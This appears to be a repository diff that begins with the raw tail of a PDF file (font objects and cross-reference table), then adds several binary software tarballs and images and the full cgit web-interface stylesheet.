1255j݂DsI OkRnp?:l*"2ΐF:~P<@b88_:E-vudk8>IO|`Z\('} &wtz^bq*8B/GF)\YXytZf+&ڇ]Aa?&^Ņ8!c 6D9K&2#
1256+~s-ݎ^?!1u}C}Jۑ1إuj02f[ގ7[
1257:DAYTmp<*+P1\{|R%tkopϯxڱc`6gp~= 5io|L,J{ϝvliK8;+4b>_49璌#XU<S59@_ ;jZle{㑁ޝ+OxNdg8Drpѽ({Wɱ9wium?=OpB(yH\`2B]3&:"Er)ZsOk+Rn{iKvD+ډ@91СAʐot
1258B !;_$sp.!NLN d
1259yxIK YE~MT"VNM)GΓ/eJZQCQ9t>}Vѥ ?GWh@髴Iߥcz~NI
1260jh:Q.E(P..VZ}ox-aZ"KQKýђ?
1261^,X9
1262lШ15qLf,Q$%X^WurLZ^-ٚX_R<dZ:@yIQlKμ4>2֨%yn LvZ#J0v V(b?Y,cZ_c^&^҈am:_@iy2" yIYɚRoraՉhur땸DѧFe5DJCZr'L%xSK|2,VOa*"ƥVIEAHsY3.(O]t^7-}c4]cLno>?IVY3^{KTC_= ; bp-"d,Kh2ZzyU4x+y$2}iHU*,J o_Urm~^bgڻ%-}
12637NDMrn#練&vzc5> 1Ne1#r 9KiB d:X}%txiG8=jfp
1264%j"tB+g O[=2DKDYնyL@_Oą|c1Gk%` Zid^Q曃MSW]/8`>hD|6[mff`l4 ڳB,:wԅˣxY?9ohtop6.<tV"PA_4Y&׏YnK"Px=٩p=bKY|}4oY\Ӧ^ 4Kch`5!#
1265w=WB0?[Ӣk[}UcGw(XJe)_b_W} ڡR ppy 1Z0 A=l;G1iOCC#p^+5i
12668<K;~gsEuXM4ͥiWiId-O{Z=j!m6 ej $PFJlA
1267c)ԅyK'0QvAKUDNP-ZI4zITS2)
1268YA UɧUM!ItXɦ8̋#rۑOQ|k.?$8Q#o9čEN5`MgꡇTt"!O o.6z2Uܼ HaECnKh*--H]cیpybo4.=7M/A$^Ǿs6mv݈$ʄ!qq76; bPx x-qR2 k_Pr} ]t4& 7!1-ύ2p޷ Ѭ^VMQ<r+ڢz
1269O3]"FV5Dԋ8I"D=[]β6dMD<Ȟ Q$KS rdFH3n.tYŌu>1N GeMB~DL ^:K'@tک=Wµj H:yAɑ;6:cor0j'/I?
12700jMW=
1271/g):pj<;5[~ƺi6/>bX6{zz*c׹Xż86~/fn˖!q1cB(F$2;cg F}!פȧFl݄% 'KpK{,{csEg<O"i(8$#!ӪԵMpkoLnG4I {۸% )ԇsIBB: )Ȁ ȩ&A.4UA<Bȭ* "z~ oB#mX+` ~ɱ>/+FT9xx2V 5<O*YD +H=y4!@6$# ^r|HN_<\!&ʨyiH'<:M29t]AihrvӽO =DOStCtXRtů<)U";VjꕘҢ"KPo}JrT9<2LmH\A!_2;s0Ka|l<˞d9,`l,PC)2q +' T!D|y2#,hǂ@~#[^"r`0H%M(@OPmтKLT~lm|yHf!RE?L`#vłuF dYpL_Hִ(i_MA&QMpZ1"3dr*L>Ec"ֱ ȫ낹*=>0,冬De <yӞV;)I|mq BXѯc/- -Aܱ̦u޹1(OGΟғɱKEOΟef! @v?j0RѦ<#u8F>FRVOB,7^0 Z)-j.K^T+A"[nDׯFQ_%1DsG~
1272vt3܃-[<[o~\~k D莟)G&jݖk6MGh6?'|!mZo~qoq6mfX?ggG=rţᄋS(GΞ;_svܲJW2Aj_(]qvNw~!S$*%yE \pThRx2KXdn^&}5*=!fJij Ң 5S$͊=jmFre I>9s"쏞>g(ʁ<*b
1273PM̀RSefC5S?rXz1X':A8:*SpAM!!\Aը&*"7An#d6&Fuu/>b d YOZH'Pa=Mvn<9D~
1274w0~(9F@D"o"y_(5A4^^O z35,ZI:z]H*6VN@<=DK#o=OFN/ v%Zj@u#jVj|]VϖB[֡jaX6_.=Ǻb/B.SR+S))"|QBg#x6A]A=;6O:νnK#"aTy3ܽwz)_*|~%%F,Kr+>[ppDJZ2dG3ؼ;
1275Kł0bA,$# _m?3";ɢb}/a'?QM1/ FO1ߐi,ǂq)ãYb2CQ-ȶS9LƆO%%6R$aP.+Ne#Eӿ22 yc@:Z &va3;=Mg@qC7'P{Dc;qn6̢;0c8
1276,cDe(CECYL\F >'X
1277rG<|Hǹ) 7brμk
1278#Ih$Qr!O.k; "<Z >O#$0VbϻgPZ (uUYY,&fͿ4uQŌf<"L *j;;z {fJWqgvwoG `9%{ XXU`">4(^Qq}XUx~}8ΩY(cy>]Y7HEs™jN%bQ|Hy@YtC]70~v@ /in7^09ek'Ђ&ꉅ=2ӱIKqbKTiBWf5{-Fy%{ q]zNSR,6rηȑQm٤u xXk],2_<"\0Ƽ<R8j8e-7+
1279opMS:ZbPyAY~-,ńk"c2`Xԏ2۬X'~rc#eM\k8ja0k>ծ/
1280' /)ީ[ ձ2e.="/UXt49;N0x6;KM.ZeE0&.}4OGYUw<_Y#ZµYmEF |}2Ni˃;܁&),e^MMW\mVwN,U݉^pSc B՝";l.h_YWWt-0.S|H%e!bVv;0@kr-YyYS+0'k[J#&W嫹nVSbk`B ].KURI0pzPY4v V\7kIDN>58Z8nZݖ&4Tg?"eSPEw?CA]6CQG8: S뛀ВS"65G^sHr`~I|ŌMz蜗W}# mp#q_NrZPwbE҅)a7Z!M!̺9b+U뱰,t-zXJ_ZTVR[9ַ
1281U"ioGj6C<*zRN cc{ L4g(1Dx1PA Fh]IqȏJqh78*MBQf"I4HFA H>jaJA"zO?N׋'9a[k v \/~xzߠvHLo,ԋ+g!}b',z,<gf}' 3AuZNZ\v;WTՃmŢO{amc:jsތvbr^T-x]RaL,ׁ&5l6T^9hMق~bbYvشBǖ|5e?GeہgLUv)_Ua|s?Zyq 󔚙9
1282?0
12830Tx1|:XJX oB 0`?pWn TxJĒ$$+I%? dFg82L$d*)#e2T0o! HY=H# YAj3 ďv g$3 2F:ȷP OHjSh͠Ciu|:F7-S4:
1284:3Z.=@4@ѝMG F; I0Yf8L3Ű>g =QQ3Gʨ(0DD9eh-F%R=r}%L#6bQqrZn! )4 LP˔.sYWF^]qaW4
1285 GuK"VJ%._ҕtCt\*ɒ7Q
1286J]%.`fSkov-iMͨh~p#+@0txUsk{9OF9]Z(ln]X-4=ב
1287Ur&`{`"]u43xoakPg>ZZ:fJ/0\<,\_cY kĕe@%{~0Cƹx3,gWa>$:88RBڎpO,]@_AUUQ_sνx}"yW$2|1FiJX:F25KIB%++d,fEfe֘iO3J,u4%fO-#s4}Y{Ky< #~Y7[]RzTA9QVɝn}t[*͒L^=Œ }ҥRK)ᗢlRȓNd/Y
1288)6>hLS$6X@a' c@V}4HZ)1эN]
1289t_yR IlԠqꐿQѱ~-g&_EuO/E~?m | f[&,|QABQ䨠a~1m)GH;˗J`54Y/b\.~fgPS|jl\U Y9 )E3
1290ck' }rpZejhwK+nYὪwX-E
1291sFWѷ{ʋՖ+-b,4R-R%[Cd3y<@B'&ȟ}^r=- q_L\Rn_Fr'9) N~Hn#ڶJW6Ѷ #PߧZ6Rl M;דo:}-75*5r%*B^ah׊X(>W%iXlc@<Zh1ib\v r[c[Ki{VȵMCZ1C_<O'YyBc h7_1ȣ7WG0'Fa99 M},^C:bXM3wsNoc 題J-tL[P7R2E-mSہjT slc@r Mc #ݭ&F4Ս빁r=yy-{=9/+esDٟȘ RٟٟU
1292~ۦ#W18Rr49I^wyd)y.YBÙA}89<<J!,|өF摃ٛAO%Sȓ\6Xs'}>do ޴g'=̢~<I PWhwJ2+H:1FFҘ-S:H";*<<g<F$FK~\Qu<-mՖ6dk2D" (%llc1V K!!gYY'M5z䶠w5{;G+3x`J0!9K !!
1293m{.ls>@o$ĊKHL|]|݁~{k:gJ؊";k,xpOv .İ8&'rH`c鼾l%pz`Cu\ZM
1294
1295endstream
1296endobj
12974 0 obj
1298<<
1299/Type /Font
1300/Subtype /TrueType
1301/FirstChar 32
1302/LastChar 90
1303/Widths [250 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13040 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13050 722 0 722 722 667 611 0 778 389 500 0 667 944 722 778
1306611 0 722 556 667 722 0 0 0 0 667 ]
1307/Encoding /WinAnsiEncoding
1308/BaseFont /Times-Bold
1309/FontDescriptor 24 0 R
1310>>
1311endobj
13125 0 obj
1313<<
1314/Type /Font
1315/Subtype /TrueType
1316/FirstChar 45
1317/LastChar 122
1318/Widths [600 600 600 0 0 0 0 0 0 0 0 0 0 0 0 0
13190 0 0 0 600 0 0 0 600 600 0 0 600 600 0 600
13200 0 0 600 0 600 0 0 0 0 0 600 0 600 0 0
13210 0 600 0 600 600 600 600 600 600 0 0 600 600 0 600
1322600 600 600 600 0 600 600 600 600 600 0 0 0 600 ]
1323/Encoding /WinAnsiEncoding
1324/BaseFont /Courier
1325/FontDescriptor 25 0 R
1326>>
1327endobj
13286 0 obj
1329<<
1330/Type /Font
1331/Subtype /TrueType
1332/FirstChar 32
1333/LastChar 151
1334/Widths [250 333 0 0 0 0 0 0 333 333 0 0 250 333 250 278
1335500 500 500 500 0 500 0 0 500 0 278 278 0 0 0 0
1336921 722 667 667 722 611 556 0 0 333 389 0 611 0 722 722
1337556 0 667 556 611 722 722 0 722 722 611 0 0 0 0 500
13380 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500
1339500 500 333 389 278 500 500 722 500 500 444 0 0 0 0 0
13400 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13410 0 333 444 444 0 0 1000 ]
1342/Encoding /WinAnsiEncoding
1343/BaseFont /Times-Roman
1344/FontDescriptor 26 0 R
1345>>
1346endobj
13477 0 obj
1348<<
1349/Type /Font
1350/Subtype /TrueType
1351/FirstChar 222
1352/LastChar 223
1353/Widths [556 556 ]
1354/Encoding /MacRomanEncoding
1355/BaseFont /Times-Roman
1356/FontDescriptor 27 0 R
1357>>
1358endobj
135917 0 obj
1360<<
1361/Type /Font
1362/Subtype /Type0
1363/BaseFont /JGDKHH+Courier-Bold
1364/Encoding /Identity-H
1365/DescendantFonts [ 35 0 R ]
1366/ToUnicode 36 0 R
1367>>
1368endobj
136935 0 obj
1370<<
1371/Type /Font
1372/Subtype /CIDFontType2
1373/BaseFont /JGDKHH+Courier-Bold
1374/FontDescriptor 22 0 R
1375/CIDSystemInfo<<
1376/Registry (Adobe)
1377/Ordering (Identity)
1378/Supplement 0
1379>>
1380/DW 1000
1381/W [
1382233 [600]
1383]
1384>>
1385endobj
13868 0 obj
1387<<
1388/Type /Font
1389/Subtype /TrueType
1390/FirstChar 32
1391/LastChar 146
1392/Widths [600 0 0 0 0 0 0 0 0 0 0 0 0 600 0 0
13930 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13940 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13950 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13960 600 0 600 600 600 0 0 600 600 600 0 600 600 600 600
1397600 0 600 600 600 0 600 0 0 0 600 0 0 0 0 0
13980 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13990 0 600 ]
1400/Encoding /WinAnsiEncoding
1401/BaseFont /JGDKIL+Courier-Bold
1402/FontDescriptor 28 0 R
1403>>
1404endobj
14059 0 obj
1406<<
1407/Type /Font
1408/Subtype /TrueType
1409/FirstChar 32
1410/LastChar 125
1411/Widths [250 0 0 0 500 0 0 0 0 0 0 0 0 333 250 278
14120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
14130 0 0 0 0 611 0 0 0 0 0 0 0 0 667 722
14140 0 0 500 0 0 0 0 0 556 0 0 0 0 0 500
14150 500 500 444 500 444 278 500 500 278 278 0 278 722 500 500
1416500 0 389 389 278 500 444 667 0 0 389 400 0 400 ]
1417/Encoding /WinAnsiEncoding
1418/BaseFont /Times-Italic
1419/FontDescriptor 30 0 R
1420>>
1421endobj
142210 0 obj
1423<<
1424/Type /Font
1425/Subtype /TrueType
1426/FirstChar 223
1427/LastChar 223
1428/Widths [500 ]
1429/Encoding /MacRomanEncoding
1430/BaseFont /Times-Italic
1431/FontDescriptor 31 0 R
1432>>
1433endobj
143411 0 obj
1435<<
1436/Type /Font
1437/Subtype /TrueType
1438/FirstChar 97
1439/LastChar 116
1440/Widths [600 0 0 0 600 0 0 600 0 0 0 0 600 600 600 0
14410 0 600 600 ]
1442/Encoding /WinAnsiEncoding
1443/BaseFont /Courier-Oblique
1444/FontDescriptor 32 0 R
1445>>
1446endobj
144721 0 obj
1448<<
1449/Type /Font
1450/Subtype /Type0
1451/BaseFont /JGDKKG+Symbol
1452/Encoding /Identity-H
1453/DescendantFonts [ 37 0 R ]
1454/ToUnicode 38 0 R
1455>>
1456endobj
145737 0 obj
1458<<
1459/Type /Font
1460/Subtype /CIDFontType2
1461/BaseFont /JGDKKG+Symbol
1462/FontDescriptor 33 0 R
1463/CIDSystemInfo<<
1464/Registry (Adobe)
1465/Ordering (Identity)
1466/Supplement 0
1467>>
1468/DW 1000
1469/W [
1470156 157 329
1471]
1472>>
1473endobj
147436 0 obj
1475<<
1476/Filter /FlateDecode
1477/Length 217
1478>>
1479stream
1480HTPN0 A i#.wK;--п'C g?gSwEMFGq+NV`{Wu
1481??X|kǶRjE7}9Y,#ق#&r_
1482endstream
1483endobj
148438 0 obj
1485<<
1486/Filter /FlateDecode
1487/Length 229
1488>>
1489stream
1490HTPn >nځuJR^rV-iC~@N;`gc{ju Z:nD=
1491FRnDhjet2"[-AM^ݪrݖ^rb+
1492>
1493endstream
1494endobj
14951 0 obj
1496<<
1497/Type /Page
1498/Parent 13 0 R
1499/Resources 3 0 R
1500/Contents 2 0 R
1501>>
1502endobj
150314 0 obj
1504<<
1505/Type /Page
1506/Parent 13 0 R
1507/Resources 16 0 R
1508/Contents 15 0 R
1509>>
1510endobj
151118 0 obj
1512<<
1513/Type /Page
1514/Parent 13 0 R
1515/Resources 20 0 R
1516/Contents 19 0 R
1517>>
1518endobj
151939 0 obj
1520<<
1521/S /D
1522>>
1523endobj
152440 0 obj
1525<<
1526/Nums [0 39 0 R ]
1527>>
1528endobj
152913 0 obj
1530<<
1531/Type /Pages
1532/Kids [1 0 R 14 0 R 18 0 R]
1533/Count 3
1534/MediaBox [0 0 612 792]
1535>>
1536endobj
153741 0 obj
1538<<
1539/CreationDate (D:20130420011705+02'00')
1540/ModDate (D:20130420011705+02'00')
1541/Producer (Apple pstopdf)
1542>>
1543endobj
154442 0 obj
1545<<
1546/Type /Catalog
1547/Pages 13 0 R
1548/PageLabels 40 0 R
1549>>
1550endobj
1551xref
15520 43
15530000000000 65535 f
15540000088669 00000 n
15550000000016 00000 n
15560000005503 00000 n
15570000084665 00000 n
15580000084986 00000 n
15590000085372 00000 n
15600000085920 00000 n
15610000086453 00000 n
15620000086902 00000 n
15630000087330 00000 n
15640000087502 00000 n
15650000012931 00000 n
15660000088986 00000 n
15670000088750 00000 n
15680000005681 00000 n
15690000011079 00000 n
15700000086094 00000 n
15710000088834 00000 n
15720000011244 00000 n
15730000012799 00000 n
15740000087728 00000 n
15750000013072 00000 n
15760000013299 00000 n
15770000037444 00000 n
15780000037646 00000 n
15790000037837 00000 n
15800000038034 00000 n
15810000038231 00000 n
15820000038458 00000 n
15830000065911 00000 n
15840000066111 00000 n
15850000066311 00000 n
15860000066512 00000 n
15870000066702 00000 n
15880000086243 00000 n
15890000088077 00000 n
15900000087871 00000 n
15910000088367 00000 n
15920000088918 00000 n
15930000088946 00000 n
15940000089082 00000 n
15950000089205 00000 n
1596trailer
1597<<
1598/Size 43
1599/Root 42 0 R
1600/Info 41 0 R
1601/ID [<c832f57a1f866248541a8cd118865883><c832f57a1f866248541a8cd118865883>]
1602>>
1603startxref
160489275
1605%%EOF
diff --git a/files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2 b/files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2
new file mode 100644
index 0000000..f2360d5
--- /dev/null
+++ b/files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2 b/files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2
new file mode 100644
index 0000000..b61a624
--- /dev/null
+++ b/files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2 b/files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2
new file mode 100644
index 0000000..03b51a2
--- /dev/null
+++ b/files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2
Binary files differ
diff --git a/files/arts/software/minimunin/minimunin-0.1.tar.bz2 b/files/arts/software/minimunin/minimunin-0.1.tar.bz2
new file mode 100644
index 0000000..7342dd4
--- /dev/null
+++ b/files/arts/software/minimunin/minimunin-0.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/minimunin/minimunin-0.2.tar.bz2 b/files/arts/software/minimunin/minimunin-0.2.tar.bz2
new file mode 100644
index 0000000..cc25eb7
--- /dev/null
+++ b/files/arts/software/minimunin/minimunin-0.2.tar.bz2
Binary files differ
diff --git a/files/arts/software/opentracker/opentracker_beta3.png b/files/arts/software/opentracker/opentracker_beta3.png
new file mode 100644
index 0000000..7014d3f
--- /dev/null
+++ b/files/arts/software/opentracker/opentracker_beta3.png
Binary files differ
diff --git a/files/arts/software/timestretch/timestretch_1.png b/files/arts/software/timestretch/timestretch_1.png
new file mode 100644
index 0000000..622382d
--- /dev/null
+++ b/files/arts/software/timestretch/timestretch_1.png
Binary files differ
diff --git a/files/arts/software/timestretch/timestretch_2.png b/files/arts/software/timestretch/timestretch_2.png
new file mode 100644
index 0000000..405c268
--- /dev/null
+++ b/files/arts/software/timestretch/timestretch_2.png
Binary files differ
diff --git a/files/cgit/cgit.cgi b/files/cgit/cgit.cgi
new file mode 100755
index 0000000..c52093c
--- /dev/null
+++ b/files/cgit/cgit.cgi
Binary files differ
diff --git a/files/cgit/cgit.css b/files/cgit/cgit.css
new file mode 100644
index 0000000..71b0b9b
--- /dev/null
+++ b/files/cgit/cgit.css
@@ -0,0 +1,804 @@
1div#cgit {
2 padding: 0em;
3 margin: 0em;
4 font-family: sans-serif;
5 font-size: 10pt;
6 color: #333;
7 background: white;
8 padding: 4px;
9}
10
11div#cgit a {
12 color: blue;
13 text-decoration: none;
14}
15
16div#cgit a:hover {
17 text-decoration: underline;
18}
19
20div#cgit table {
21 border-collapse: collapse;
22}
23
24div#cgit table#header {
25 width: 100%;
26 margin-bottom: 1em;
27}
28
29div#cgit table#header td.logo {
30 width: 96px;
31 vertical-align: top;
32}
33
34div#cgit table#header td.main {
35 font-size: 250%;
36 padding-left: 10px;
37 white-space: nowrap;
38}
39
40div#cgit table#header td.main a {
41 color: #000;
42}
43
44div#cgit table#header td.form {
45 text-align: right;
46 vertical-align: bottom;
47 padding-right: 1em;
48 padding-bottom: 2px;
49 white-space: nowrap;
50}
51
52div#cgit table#header td.form form,
53div#cgit table#header td.form input,
54div#cgit table#header td.form select {
55 font-size: 90%;
56}
57
58div#cgit table#header td.sub {
59 color: #777;
60 border-top: solid 1px #ccc;
61 padding-left: 10px;
62}
63
64div#cgit table.tabs {
65 border-bottom: solid 3px #ccc;
66 border-collapse: collapse;
67 margin-top: 2em;
68 margin-bottom: 0px;
69 width: 100%;
70}
71
72div#cgit table.tabs td {
73 padding: 0px 1em;
74 vertical-align: bottom;
75}
76
77div#cgit table.tabs td a {
78 padding: 2px 0.75em;
79 color: #777;
80 font-size: 110%;
81}
82
83div#cgit table.tabs td a.active {
84 color: #000;
85 background-color: #ccc;
86}
87
88div#cgit table.tabs td.form {
89 text-align: right;
90}
91
92div#cgit table.tabs td.form form {
93 padding-bottom: 2px;
94 font-size: 90%;
95 white-space: nowrap;
96}
97
98div#cgit table.tabs td.form input,
99div#cgit table.tabs td.form select {
100 font-size: 90%;
101}
102
103div#cgit div.path {
104 margin: 0px;
105 padding: 5px 2em 2px 2em;
106 color: #000;
107 background-color: #eee;
108}
109
110div#cgit div.content {
111 margin: 0px;
112 padding: 2em;
113 border-bottom: solid 3px #ccc;
114}
115
116
117div#cgit table.list {
118 width: 100%;
119 border: none;
120 border-collapse: collapse;
121}
122
123div#cgit table.list tr {
124 background: white;
125}
126
127div#cgit table.list tr.logheader {
128 background: #eee;
129}
130
131div#cgit table.list tr:hover {
132 background: #eee;
133}
134
135div#cgit table.list tr.nohover:hover {
136 background: white;
137}
138
139div#cgit table.list th {
140 font-weight: bold;
141 /* color: #888;
142 border-top: dashed 1px #888;
143 border-bottom: dashed 1px #888;
144 */
145 padding: 0.1em 0.5em 0.05em 0.5em;
146 vertical-align: baseline;
147}
148
149div#cgit table.list td {
150 border: none;
151 padding: 0.1em 0.5em 0.1em 0.5em;
152}
153
154div#cgit table.list td.commitgraph {
155 font-family: monospace;
156 white-space: pre;
157}
158
159div#cgit table.list td.commitgraph .column1 {
160 color: #a00;
161}
162
163div#cgit table.list td.commitgraph .column2 {
164 color: #0a0;
165}
166
167div#cgit table.list td.commitgraph .column3 {
168 color: #aa0;
169}
170
171div#cgit table.list td.commitgraph .column4 {
172 color: #00a;
173}
174
175div#cgit table.list td.commitgraph .column5 {
176 color: #a0a;
177}
178
179div#cgit table.list td.commitgraph .column6 {
180 color: #0aa;
181}
182
183div#cgit table.list td.logsubject {
184 font-family: monospace;
185 font-weight: bold;
186}
187
188div#cgit table.list td.logmsg {
189 font-family: monospace;
190 white-space: pre;
191 padding: 0 0.5em;
192}
193
194div#cgit table.list td a {
195 color: black;
196}
197
198div#cgit table.list td a.ls-dir {
199 font-weight: bold;
200 color: #00f;
201}
202
203div#cgit table.list td a:hover {
204 color: #00f;
205}
206
207div#cgit img {
208 border: none;
209}
210
211div#cgit input#switch-btn {
212 margin: 2px 0px 0px 0px;
213}
214
215div#cgit td#sidebar input.txt {
216 width: 100%;
217 margin: 2px 0px 0px 0px;
218}
219
220div#cgit table#grid {
221 margin: 0px;
222}
223
224div#cgit td#content {
225 vertical-align: top;
226 padding: 1em 2em 1em 1em;
227 border: none;
228}
229
230div#cgit div#summary {
231 vertical-align: top;
232 margin-bottom: 1em;
233}
234
235div#cgit table#downloads {
236 float: right;
237 border-collapse: collapse;
238 border: solid 1px #777;
239 margin-left: 0.5em;
240 margin-bottom: 0.5em;
241}
242
243div#cgit table#downloads th {
244 background-color: #ccc;
245}
246
247div#cgit div#blob {
248 border: solid 1px black;
249}
250
251div#cgit div.error {
252 color: red;
253 font-weight: bold;
254 margin: 1em 2em;
255}
256
257div#cgit a.ls-blob, div#cgit a.ls-dir, div#cgit a.ls-mod {
258 font-family: monospace;
259}
260
261div#cgit td.ls-size {
262 text-align: right;
263 font-family: monospace;
264 width: 10em;
265}
266
267div#cgit td.ls-mode {
268 font-family: monospace;
269 width: 10em;
270}
271
272div#cgit table.blob {
273 margin-top: 0.5em;
274 border-top: solid 1px black;
275}
276
277div#cgit table.blob td.lines {
278 margin: 0; padding: 0 0 0 0.5em;
279 vertical-align: top;
280 color: black;
281}
282
283div#cgit table.blob td.linenumbers {
284 margin: 0; padding: 0 0.5em 0 0.5em;
285 vertical-align: top;
286 text-align: right;
287 border-right: 1px solid gray;
288}
289
290div#cgit table.blob pre {
291 padding: 0; margin: 0;
292}
293
294div#cgit table.blob td.linenumbers a,
295div#cgit table.ssdiff td.lineno a {
296 color: gray;
297 text-align: right;
298 text-decoration: none;
299}
300
301div#cgit table.blob td.linenumbers a:hover,
302div#cgit table.ssdiff td.lineno a:hover {
303 color: black;
304}
305
306div#cgit table.bin-blob {
307 margin-top: 0.5em;
308 border: solid 1px black;
309}
310
311div#cgit table.bin-blob th {
312 font-family: monospace;
313 white-space: pre;
314 border: solid 1px #777;
315 padding: 0.5em 1em;
316}
317
318div#cgit table.bin-blob td {
319 font-family: monospace;
320 white-space: pre;
321 border-left: solid 1px #777;
322 padding: 0em 1em;
323}
324
325div#cgit table.nowrap td {
326 white-space: nowrap;
327}
328
329div#cgit table.commit-info {
330 border-collapse: collapse;
331 margin-top: 1.5em;
332}
333
334div#cgit div.cgit-panel {
335 float: right;
336 margin-top: 1.5em;
337}
338
339div#cgit div.cgit-panel table {
340 border-collapse: collapse;
341 border: solid 1px #aaa;
342 background-color: #eee;
343}
344
345div#cgit div.cgit-panel th {
346 text-align: center;
347}
348
349div#cgit div.cgit-panel td {
350 padding: 0.25em 0.5em;
351}
352
353div#cgit div.cgit-panel td.label {
354 padding-right: 0.5em;
355}
356
357div#cgit div.cgit-panel td.ctrl {
358 padding-left: 0.5em;
359}
360
361div#cgit table.commit-info th {
362 text-align: left;
363 font-weight: normal;
364 padding: 0.1em 1em 0.1em 0.1em;
365 vertical-align: top;
366}
367
368div#cgit table.commit-info td {
369 font-weight: normal;
370 padding: 0.1em 1em 0.1em 0.1em;
371}
372
373div#cgit div.commit-subject {
374 font-weight: bold;
375 font-size: 125%;
376 margin: 1.5em 0em 0.5em 0em;
377 padding: 0em;
378}
379
380div#cgit div.commit-msg {
381 white-space: pre;
382 font-family: monospace;
383}
384
385div#cgit div.notes-header {
386 font-weight: bold;
387 padding-top: 1.5em;
388}
389
390div#cgit div.notes {
391 white-space: pre;
392 font-family: monospace;
393 border: solid 1px #ee9;
394 background-color: #ffd;
395 padding: 0.3em 2em 0.3em 1em;
396 float: left;
397}
398
399div#cgit div.notes-footer {
400 clear: left;
401}
402
403div#cgit div.diffstat-header {
404 font-weight: bold;
405 padding-top: 1.5em;
406}
407
408div#cgit table.diffstat {
409 border-collapse: collapse;
410 border: solid 1px #aaa;
411 background-color: #eee;
412}
413
414div#cgit table.diffstat th {
415 font-weight: normal;
416 text-align: left;
417 text-decoration: underline;
418 padding: 0.1em 1em 0.1em 0.1em;
419 font-size: 100%;
420}
421
422div#cgit table.diffstat td {
423 padding: 0.2em 0.2em 0.1em 0.1em;
424 font-size: 100%;
425 border: none;
426}
427
428div#cgit table.diffstat td.mode {
429 white-space: nowrap;
430}
431
432div#cgit table.diffstat td span.modechange {
433 padding-left: 1em;
434 color: red;
435}
436
437div#cgit table.diffstat td.add a {
438 color: green;
439}
440
441div#cgit table.diffstat td.del a {
442 color: red;
443}
444
445div#cgit table.diffstat td.upd a {
446 color: blue;
447}
448
449div#cgit table.diffstat td.graph {
450 width: 500px;
451 vertical-align: middle;
452}
453
454div#cgit table.diffstat td.graph table {
455 border: none;
456}
457
458div#cgit table.diffstat td.graph td {
459 padding: 0px;
460 border: 0px;
461 height: 7pt;
462}
463
464div#cgit table.diffstat td.graph td.add {
465 background-color: #5c5;
466}
467
468div#cgit table.diffstat td.graph td.rem {
469 background-color: #c55;
470}
471
472div#cgit div.diffstat-summary {
473 color: #888;
474 padding-top: 0.5em;
475}
476
477div#cgit table.diff {
478 width: 100%;
479}
480
481div#cgit table.diff td {
482 font-family: monospace;
483 white-space: pre;
484}
485
486div#cgit table.diff td div.head {
487 font-weight: bold;
488 margin-top: 1em;
489 color: black;
490}
491
492div#cgit table.diff td div.hunk {
493 color: #009;
494}
495
496div#cgit table.diff td div.add {
497 color: green;
498}
499
500div#cgit table.diff td div.del {
501 color: red;
502}
503
504div#cgit .sha1 {
505 font-family: monospace;
506 font-size: 90%;
507}
508
509div#cgit .left {
510 text-align: left;
511}
512
513div#cgit .right {
514 text-align: right;
515}
516
517div#cgit table.list td.reposection {
518 font-style: italic;
519 color: #888;
520}
521
522div#cgit a.button {
523 font-size: 80%;
524 padding: 0em 0.5em;
525}
526
527div#cgit a.primary {
528 font-size: 100%;
529}
530
531div#cgit a.secondary {
532 font-size: 90%;
533}
534
535div#cgit td.toplevel-repo {
536
537}
538
539div#cgit table.list td.sublevel-repo {
540 padding-left: 1.5em;
541}
542
543div#cgit ul.pager {
544 list-style-type: none;
545 text-align: center;
546 margin: 1em 0em 0em 0em;
547 padding: 0;
548}
549
550div#cgit ul.pager li {
551 display: inline-block;
552 margin: 0.25em 0.5em;
553}
554
555div#cgit ul.pager a {
556 color: #777;
557}
558
559div#cgit ul.pager .current {
560 font-weight: bold;
561}
562
563div#cgit span.age-mins {
564 font-weight: bold;
565 color: #080;
566}
567
568div#cgit span.age-hours {
569 color: #080;
570}
571
572div#cgit span.age-days {
573 color: #040;
574}
575
576div#cgit span.age-weeks {
577 color: #444;
578}
579
580div#cgit span.age-months {
581 color: #888;
582}
583
584div#cgit span.age-years {
585 color: #bbb;
586}
587div#cgit div.footer {
588 margin-top: 0.5em;
589 text-align: center;
590 font-size: 80%;
591 color: #ccc;
592}
593div#cgit a.branch-deco {
594 color: #000;
595 margin: 0px 0.5em;
596 padding: 0px 0.25em;
597 background-color: #88ff88;
598 border: solid 1px #007700;
599}
600div#cgit a.tag-deco {
601 color: #000;
602 margin: 0px 0.5em;
603 padding: 0px 0.25em;
604 background-color: #ffff88;
605 border: solid 1px #777700;
606}
607div#cgit a.remote-deco {
608 color: #000;
609 margin: 0px 0.5em;
610 padding: 0px 0.25em;
611 background-color: #ccccff;
612 border: solid 1px #000077;
613}
614div#cgit a.deco {
615 color: #000;
616 margin: 0px 0.5em;
617 padding: 0px 0.25em;
618 background-color: #ff8888;
619 border: solid 1px #770000;
620}
621
622div#cgit div.commit-subject a.branch-deco,
623div#cgit div.commit-subject a.tag-deco,
624div#cgit div.commit-subject a.remote-deco,
625div#cgit div.commit-subject a.deco {
626 margin-left: 1em;
627 font-size: 75%;
628}
629
630div#cgit table.stats {
631 border: solid 1px black;
632 border-collapse: collapse;
633}
634
635div#cgit table.stats th {
636 text-align: left;
637 padding: 1px 0.5em;
638 background-color: #eee;
639 border: solid 1px black;
640}
641
642div#cgit table.stats td {
643 text-align: right;
644 padding: 1px 0.5em;
645 border: solid 1px black;
646}
647
648div#cgit table.stats td.total {
649 font-weight: bold;
650 text-align: left;
651}
652
